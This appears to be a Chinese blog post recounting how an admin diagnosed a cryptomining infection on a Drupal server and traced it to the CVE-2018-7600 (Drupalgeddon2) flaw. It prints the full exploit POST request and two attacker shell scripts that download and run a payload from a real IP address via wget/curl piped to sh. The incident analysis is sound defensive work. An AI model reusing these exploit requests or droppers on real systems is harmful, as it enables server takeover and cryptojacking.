标签归档：CVE-2018-7600漏洞

Drupal网站捉马记

发表于由

问题出现

Drupal网站页面打不开了，浏览器显示500错误。 登陆centos服务器，查看CPU，发现有一个apache用户的进程，进程名是[[^$I$^]]，占用CPU达到100%。

CPU-100%

显然，网站被入侵了，而且十有八九又是挖矿代码。

照以往的做法，重装系统和网站完事，但没找到问题的根源，指不定什么时候又会出问题。不如这次试试能不能抓到这只马，顺便长长经验。

初次尝试

首先用命令kill -9 进程号，尝试杀死这个进程。杀掉之后，又重新启动起来，没有用。重新启动主机，这个进程还是跳来跳去。

一番百度后，有人说恶意代码可能是开机启动或者定时启动。然后到/etc文件夹下检查了诸如cron.d、rc.d等文件夹下的脚本，发现大多是一些系统服务启动脚本，翻来覆去也没有找到什么有价值的东东。

既然暂时杀不死，那限制它的cpu占用率总该可以吧？又查了一番，还真有个cpulimit的软件能限制这个进程的cpu使用率。

yum install cpulimit
cpulimit -l 1 -p 进程号 & #限制木马进程的cpu占用率为1%

好了，操作起来没那么卡了，但是网站还是一片空白。

再次尝试

既然杀不死这个木马，那能不能定位这个木马程序的位置和代码呢？ 还好，从洋洋洒洒的广告中找到了需要的答案。

在/proc/进程号目录下，有当前进程的详细信息。其中的exe指向的文件就是启动这个进程的可执行文件。

proc-num

进入目录，执行ll，发现了，可行性文件在/var/tmp目录下，但后边显示了个deleted。什么情况？狡猾的木马执行起来之后，又把自己删了，让我们无迹可寻，厉害！

不过。。。把tmp目录禁止写入禁止执行，是不是木马就运行不起来了呢？ 经过一番设置，然后kill之后，木马进程好像没有了，网站也恢复正常。

但是！！几个小时后，网站又是一片空白--500。

转机出现

折腾了很久很久，还是没有搞定这只马。正当自己考虑要不要重装系统的时候，忽然想到，访问日志文件中会不会有什么蛛丝马迹。毕竟，木马进程是apache用户启动，说明木马没有拿到最高权限，可能就是个webshell。apache访问日志cat一下，cat /var/log/httpd/access_log。

post

这次运气不错，一下子看到一个POST请求有问题。全站都打不开了，显示500错误，但是这个POST请求响应结果竟然是200！！那说明这个请求可能就跟木马有关。

木马分析

这条POST请求的url用解码一下看看，

POST //?q=user/password&name[#post_render][]=system&name[#markup]=kill -9 -1; nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name[#type]=markup

其中有一条shell语句，单独拿出来分析一下

kill -9 -1;  #把自己的父进程杀死？
nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; #wget下载远程脚本并执行
nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name # curl下载远程脚本并执行

这个脚本是什么呢？下载下来看看

#!/bin/sh
id0="[[^$I$^]]" #这个就是服务器中木马进程的名称
id1="atnd"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"#看看能不能找到木马进程
if [ $? -ne 0 ];then #如果找不到木马进程的话，$?的值就是1，下面就是下载脚本启动进程
kill -9 -1;wget -O - http://164.132.159.56/drupal/bups.sh|sh ;  curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo "......."
fi

bups.sh脚本又是什么东东呢？下载下来看看。

#!/bin/sh
id0="[[^$I$^]]" #进程名称
id1="atnd" 
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $? -ne 0 ];then #如果没有找到木马进程，就启动木马
if [ -x "/tmp/" ] || [ -w "/tmp/" ];then
rm -rf /tmp/.*
rm -rf /tmp/*
chmod  777 /tmp/atnd #把文件权限设置行777
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`#添加执行权限并执行
/tmp/`echo $id1` &
else
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
chmod 777 /var/tmp/atnd
wget -O /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
/var/tmp/`echo $id1` &
fi
else
echo "Running....."
fi

这一段是下载真正的木马，然后启动它。因为它把/tmp目录权限设置成777了，所以之前尝试禁止写入文件没有效果。

分析了木马了，下边的步骤就是水到渠成了。

问题解决

百度搜索木马的POST请求url，结果发现这是利用了drupal的SA-CORE-2018-002漏洞。这个漏洞可以执行恶意代码，进而完全控制整个网站。

drupal-CVE-2018-7600

按照官方教程更新相关文件。

之后重启服务器，问题消失，网站恢复正常。